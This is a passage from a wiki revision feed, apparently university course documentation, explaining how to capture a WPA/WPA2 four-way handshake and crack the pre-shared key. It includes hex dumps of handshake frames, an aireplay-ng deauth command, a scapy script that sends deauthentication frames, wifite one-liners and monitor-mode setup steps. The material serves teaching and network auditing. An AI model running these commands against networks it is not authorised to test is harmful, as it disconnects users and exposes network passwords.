  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  8165 aa01 0000 0000 1002 7609 8004 d2a5  .e........v.....&lt;br /&gt;
  0x0020:  0000 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 d7a9 938d 8802 3a01 40d3 ae63 32dc  ........:.@..c2.&lt;br /&gt;
  0x0040:  98da c46e 00fc 98da c46e 00fc 0000 0000  ...n.....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 005f 0200 8a00  ..........._....&lt;br /&gt;
  0x0060:  1000 0000 0000 0000 01ff e614 7014 d7a9  ............p...&lt;br /&gt;
  0x0070:  6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1  nl^$..Y.S_&amp;lt;...Y.&lt;br /&gt;
  0x0080:  e125 8fce 7dc3 1325 a900 0000 0000 0000  .%..}..%........&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00b0:  0000 0000 0000 0000 0000 0041 e6a6 5d    ...........A..]&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=530px&amp;gt;&lt;br /&gt;
image:4WH_2.png|4WHS (Message 2 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 121: EAPOL key (3) v1, len 117&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  1a76 aa01 0000 0000 1002 7609 8004 eca5  .v........v.....&lt;br /&gt;
  0x0020:  0001 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 4355 fdb7 8801 3a01 98da c46e 00fc  ..CU....:....n..&lt;br /&gt;
  0x0040:  40d3 ae63 32dc 98da c46e 00fc 0000 0600  @..c2....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 0075 0201 0a00  ...........u....&lt;br /&gt;
  0x0060:  0000 0000 0000 0000 01bc 67eb 5bfb 4355  ..........g.[.CU&lt;br /&gt;
  0x0070:  f0cc b3f9 bfe5 609d 611e b79f 7451 ccb8  ......`.a...tQ..&lt;br /&gt;
  0x0080:  841c 7d17 dde7 0c47 3300 0000 0000 0000  ..}....G3.......&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 0051 17b2 89fc 6428  .........Q....d(&lt;br /&gt;
  0x00b0:  2564 ab92 3571 a67f af00 1630 1401 0000  %d..5q.....0....&lt;br /&gt;
  0x00c0:  0fac 0401 0000 0fac 0401 0000 0fac 0200  ................&lt;br /&gt;
  0x00d0:  0010 afc4 e7                             .....&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=400px&amp;gt;&lt;br /&gt;
image:4WH_3.png|4WHS (Message 3 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 155: EAPOL key (3) v1, len 151&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  6f80 aa01 0000 0000 1002 7609 8004 d2a5  o.........v.....&lt;br /&gt;
  0x0020:  0013 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 d7a9 e7e8 8802 3a01 40d3 ae63 32dc  ........:.@..c2.&lt;br /&gt;
  0x0040:  98da c46e 00fc 98da c46e 00fc 1000 0000  ...n.....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 0097 0213 ca00  ................&lt;br /&gt;
  0x0060:  1000 0000 0000 0000 02ff e614 7014 d7a9  ............p...&lt;br /&gt;
  0x0070:  6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1  nl^$..Y.S_&amp;lt;...Y.&lt;br /&gt;
  0x0080:  e125 8fce 7dc3 1325 a900 0000 0000 0000  .%..}..%........&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0100 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 00e4 ef65 1d4f f0c1  ...........e.O..&lt;br /&gt;
  0x00b0:  62be d858 a5ed dab9 bf00 38de c04c 2c9d  b..X......8..L,.&lt;br /&gt;
  0x00c0:  9696 fe73 cfd1 8927 51cd 07ed f4ee c8a4  ...s...&#039;Q.......&lt;br /&gt;
  0x00d0:  8e5b 96a4 733a d9dc 6c0c e352 f3a2 f1c6  .[..s:..l..R....&lt;br /&gt;
  0x00e0:  4a7a 2fde e3d3 9d29 e8ea 169e 551e 73b3  Jz/....)....U.s.&lt;br /&gt;
  0x00f0:  43f9 a8a8 bc98 d2                        C......&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=400px&amp;gt;&lt;br /&gt;
image:4WH_4.png|4WHS (Message 4 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  cc8d aa01 0000 0000 1002 7609 8004 eca5  ..........v.....&lt;br /&gt;
  0x0020:  0003 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 0000 938d 8801 3a01 98da c46e 00fc  ........:....n..&lt;br /&gt;
  0x0040:  40d3 ae63 32dc 98da c46e 00fc 1000 0600  @..c2....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 005f 0203 0a00  ..........._....&lt;br /&gt;
  0x0060:  0000 0000 0000 0000 0200 0000 0000 0000  ................&lt;br /&gt;
  0x0070:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x0080:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 0009 4d26 1f94 47b2  ..........M&amp;amp;..G.&lt;br /&gt;
  0x00b0:  8fcb 0e44 a9b7 3cea 4500 002c f10f 7c    ...D..&amp;lt;.E..,..|&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: Deauther are often mistakenly described as a jammer, even though that is not the case.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Aircrack-ng ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;aireplay-ng -0 1 -a $BSSID -c $VICTIM_MAC wlan0mon&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Scapy ===&lt;br /&gt;
&lt;br /&gt;
Use this automated [https://github.com/veerendra2/wifi-deauth-attack script] using &amp;lt;code&amp;gt;aircrack-ng&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;scapy&amp;lt;/code&amp;gt;. Alternatively use &amp;lt;code&amp;gt;scapy&amp;lt;/code&amp;gt; to manually execute a deauthentication attack, as shown below.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;# Configuration&lt;br /&gt;
station = &amp;quot;ff:ff:ff:ff:ff:ff&amp;quot;&lt;br /&gt;
bssid = &amp;quot;00:00:00:00:00:00&amp;quot;&lt;br /&gt;
interface = &amp;quot;wlan0mon&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Craft and send 802.11 frame&lt;br /&gt;
dot11 = Dot11(addr1=station, addr2=bssid, addr3=bssid)&lt;br /&gt;
packet = RadioTap()/dot11/Dot11Deauth(reason=7)&lt;br /&gt;
sendp(packet, inter=0.1, count=1, iface=interface, verbose=1)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;code&amp;gt;$STA&amp;lt;/code&amp;gt; may be &amp;lt;code&amp;gt;ff:ff:ff:ff:ff:ff&amp;lt;/code&amp;gt;. MAC’s must be lowercase!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== D-Stike Deauther ===&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;D-Stike provides a range of ESP8266 based development board, which come installed with the latest ESP8266 Deauther software developed by Spacehuhn. The source code is availabel on Github. With this software, you can perform different attacks to test WiFi networks. One of them is the deauthentication attack. &amp;lt;/p&amp;gt;&lt;br /&gt;
* https://github.com/spacehuhn/esp8266_deauther&lt;br /&gt;
&lt;br /&gt;
=== Other tools ===&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;JamWiFi is a Software with GUI, which allows you to select one or more nearby wireless networks, thereupon presenting a list of clients which are currently active on the network(s). Furthermore, JamWiFi allows you to disconnect clients by performing a deauthentication attack.&amp;lt;/p&amp;gt;&lt;br /&gt;
* https://github.com/unixpickle/JamWiFi&lt;br /&gt;
* https://github.com/0x0XDev/JamWiFi&lt;br /&gt;
&lt;br /&gt;
= Used Hardware =&lt;br /&gt;
&lt;br /&gt;
* Notebook, Ubuntu 18.04 bionic amd64, Intel Wireless (Intel AC-7260)&lt;br /&gt;
* Lenovo Thinkpad X1 Yoga G2, Kali Linux 2020.4, Intel Wireless (Intel AC-8265)&lt;br /&gt;
* MacBook Pro (15-inch, 2017), macOS 10.14.6, Airport Extreme (Broadcom BCM43xx)&lt;br /&gt;
* MacBook Pro (16-inch, 2019), macOS 11.1, Airport Extreme (Broadcom BCM4364)&lt;br /&gt;
* DSTIKE Deauther Watch V1&lt;br /&gt;
* HP ZBook Fury 16 G9 Mobile Workstation, Arch Linux, Intel Wireless (Alder Lake-S PCH CNVi WiFi)&lt;br /&gt;
&lt;br /&gt;
= Courses =&lt;br /&gt;
&lt;br /&gt;
* [[Campus Cyber Security Team]] WiFi Hacking 21.06.2019 &lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa (Accessed 10. April 2020)&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php#aircrack-ng_suite1 (Accessed 10. April 2020)&lt;br /&gt;
* https://www.netspotapp.com/wifi-encryption-and-security.html (Accessed 10. April 2020)&lt;br /&gt;
* https://louisabraham.github.io/articles/WPA-wifi-cracking-MBP.html (Accessed 10. April 2020)&lt;br /&gt;
* http://www.saltwaterc.eu/capturing-wpa-handshakes-with-os-x.html (Accessed 10. April 2020)&lt;br /&gt;
* https://github.com/brannondorsey/wifi-cracking (Accessed 10. April 2020)&lt;br /&gt;
* https://hashcat.net/cap2hccapx/ (Accessed 10. April 2020)&lt;br /&gt;
* https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 (Accessed 10. April 2020)&lt;br /&gt;
* https://github.com/derv82/wifite2 (Accessed 20. January 2021)&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;/div&gt;</summary>
		<author><name>RSchuller</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WPA/WPA2_PSK_deauthentication_attack&amp;diff=17572</id>
		<title>WPA/WPA2 PSK deauthentication attack</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WPA/WPA2_PSK_deauthentication_attack&amp;diff=17572"/>
		<updated>2024-12-18T17:52:04Z</updated>

		<summary type="html">&lt;p&gt;RSchuller: /* Reset network configuration */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;max-width: 970px&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight: normal;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Table of Contents&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
__TOC__&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Summary = &lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;How to sniff a WPA/WPA2 handshake using a deauthentication attack and crack the Pre-Shared Key (PSK). Aircrack-ng forms a versatile application suite for analyzing and attacking wireless networks but is not the only option in this game. This guide will use GNU/Linux to demonstrate how to use aircrack-ng and macOS to show that this process can be done more efficiently without aircrack-ng. Anyway, these processes can be mixed to get the best process for your situation.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= TL;DR =&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;For those using Kali Linux (&amp;gt;2020.1), you may stop here since most major tools used for WiFi cracking are already installed. Moreover, &amp;lt;code&amp;gt;[https://github.com/derv82/wifite2 wifite]&amp;lt;/code&amp;gt; is designed to use all known methods for retrieving the password of a wireless access point. Wifite runs existing wireless-auditing tools for you. Stop memorizing command arguments &amp;amp; switches! Run wifite, select your targets, and Wifite will automatically start trying to capture or crack the password.&amp;lt;/p&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Generic: One command to rule them all&lt;br /&gt;
sudo wifite&lt;br /&gt;
&lt;br /&gt;
# Specific: WPA/2 Offline Brute-Force Attack via 4-Way Handshake capture&lt;br /&gt;
sudo wifite --wpa --no-wps --no-pmkid&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Requirements =&lt;br /&gt;
== Mandatory ==&lt;br /&gt;
=== GNU/Linux ===&lt;br /&gt;
- Install aircrack-ng suite: &lt;br /&gt;
* Debian based distributions: &amp;lt;code&amp;gt;sudo apt install aircrack-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
* Arch based distributions: &amp;lt;code&amp;gt;sudo pacman -S aicrack-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== macOS ===&lt;br /&gt;
* Optional: Install &amp;lt;i&amp;gt;aircrack-ng&amp;lt;/i&amp;gt; suite: &amp;lt;code&amp;gt;brew install aircrack-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
* Install &amp;lt;i&amp;gt;tcpdump&amp;lt;/i&amp;gt;: &amp;lt;code&amp;gt;brew install tcpdump&amp;lt;/code&amp;gt;&lt;br /&gt;
* Install &amp;lt;i&amp;gt;wireshark&amp;lt;/i&amp;gt; to use &amp;lt;i&amp;gt;mergecap&amp;lt;/i&amp;gt;: &amp;lt;code&amp;gt;brew install wireshark&amp;lt;/code&amp;gt;&lt;br /&gt;
* Enable &#039;hidden&#039; airport feature: &amp;lt;code&amp;gt;sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Optional ==&lt;br /&gt;
=== Hashcat ===&lt;br /&gt;
* Clone GIT repository: &amp;lt;code&amp;gt;git clone https://github.com/hashcat/hashcat.git&amp;lt;/code&amp;gt;&lt;br /&gt;
* Build: &amp;lt;code&amp;gt;cd ./hashcat &amp;amp;&amp;amp; make &amp;amp;&amp;amp; make install&amp;lt;/code&amp;gt;&lt;br /&gt;
* Link: &amp;lt;code&amp;gt;sudo ln -s ./hashcat /usr/local/bin/hashcat&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Scapy ===&lt;br /&gt;
* Install: &amp;lt;code&amp;gt;pip install scapy&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Background =&lt;br /&gt;
== Problem==&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Attacks on wireless networks use the advantage that the WLAN protocol (IEEE 802.11) is not encrypted. Only the payload is encrypted. In the case of WPA2, this is usually done using AES. To exploit this weakness, a beacon frame must be intercepted by the hacker to identify the name (BSSID), MAC address (SSID) and channel (radio frequency) of the target access point. Afterwards, this information can be used to sniff packets from that network as desired. To get full access to the network, the WPA2 Pre-shared Key (PSK) is still required. To get it, only 3 steps are necessary, plus some time:&amp;lt;/p&amp;gt;&lt;br /&gt;
# Sniff a beacon management frame containing all information about the network &lt;br /&gt;
# Sniff a four-way hanshake containing dynamic payload encryption keys&lt;br /&gt;
# Crack the PSK offline, using data dumps acquired in the previous steps&lt;br /&gt;
&amp;lt;p style=&amp;quot;height: 2px&amp;quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Intercepting a four-way handshake requires at least one authenticated device on the target network. &amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The first 2 steps have to be done in range of the target network. The last step takes the longest, but has the advantage that it can be executed anywhere.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Solution==&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The most recent encryption standard WPA3 is designed to protect against such offline dictionary attacks to guess the password, since an attack has unlimited attempts to guess the PSK by implementing a new key exchange protocol. WPA2 used an imperfect four-way handshake between clients and access points to enable encrypted connections. WPA3 will eliminate this vulnerability in favor of more secure and widely verified simultaneous authentication through equal handshake. Additionally, this new handshake supports forward-secrecy.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Procedure =&lt;br /&gt;
&lt;br /&gt;
== With aircrack-ng (on GNU/Linux) ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;background-color: white; margin-left: 30px;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;background-color: grey; font-weight: bold; border-color: black&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Application&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Description&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;aircrack-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;802.11 WEP and WPA/WPA2-PSK key cracking program.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airbase-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Aimed at attacking clients as opposed to the AP itself.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdecap-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Decrypt WEP/WPA/WPA2 capture files.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdecloak-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Remove WEP CloakingTM from a packet capture file.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdrop-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;A rule based wireless deauthication tool.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;aireplay-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Inject and replay wireless frames.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airgraph-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Graph wireless networks.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airmon-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Enable and disable monitor mode on wireless interfaces.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airodump-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Capture raw 802.11 frames.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airolib-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Precompute WPA/WPA2 passphrases.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airserv-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Wireless card TCP/IP server to use wit multiple applications.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airtun-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Virtual tunnel interface creator.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;packetforge-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Create encrypted packets that can be used for injection.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Put your interface in monitor mode ===&lt;br /&gt;
&lt;br /&gt;
* Use airmon-ng to put interface in monitor mode. You can see, that the interface is called wlan0. On different devices or system configurations wlan0 could be a different device name.&lt;br /&gt;
 &lt;br /&gt;
  sudo airmon-ng&lt;br /&gt;
      PHY Interface Driver    Chipset&lt;br /&gt;
      phy0  wlan0   iwlwifi   Intel Corporation Wireless 7260 (rev 83)&lt;br /&gt;
&lt;br /&gt;
* First we need to set interface in monitor mode  `iw wlan0 del` and execute the command :&lt;br /&gt;
&lt;br /&gt;
   sudo airmon-ng&lt;br /&gt;
   Found phy0 with no interfaces assigned, would you like to assign one to it? [y/n] y&lt;br /&gt;
      PHY Interface Driver    Chipset&lt;br /&gt;
      phy0  wlan0mon  iwlwifi   Intel Corporation Wireless 7260 (rev 83)&lt;br /&gt;
&lt;br /&gt;
* Kill all processes which use physical device. Info: If you have a different connection via Ethernet and you are using NetworkManager your Ethernet connection still works.&lt;br /&gt;
&lt;br /&gt;
   sudo airmon-ng check kill&lt;br /&gt;
   Killing these processes:&lt;br /&gt;
      PID Name&lt;br /&gt;
      895 wpa_supplicant&lt;br /&gt;
&lt;br /&gt;
* Start in monitor mode&lt;br /&gt;
&lt;br /&gt;
   sudo airmon-ng start wlan0mon 9&lt;br /&gt;
&lt;br /&gt;
Alternatively create a monitoring device by using:&lt;br /&gt;
&lt;br /&gt;
   sudo airmon-ng start wlan0&lt;br /&gt;
&lt;br /&gt;
If you use the commands `ip a` or the, on GNU/Linux systems old, `ifconfig` command you can see that airmon-ng has generated a new device called &amp;quot;wlan0mon&amp;quot; or on a different setup &amp;lt;YOUR DEVICE NAME&amp;gt;mon. This is the actual monitoring device.&lt;br /&gt;
&lt;br /&gt;
=== Capture Beacon ===&lt;br /&gt;
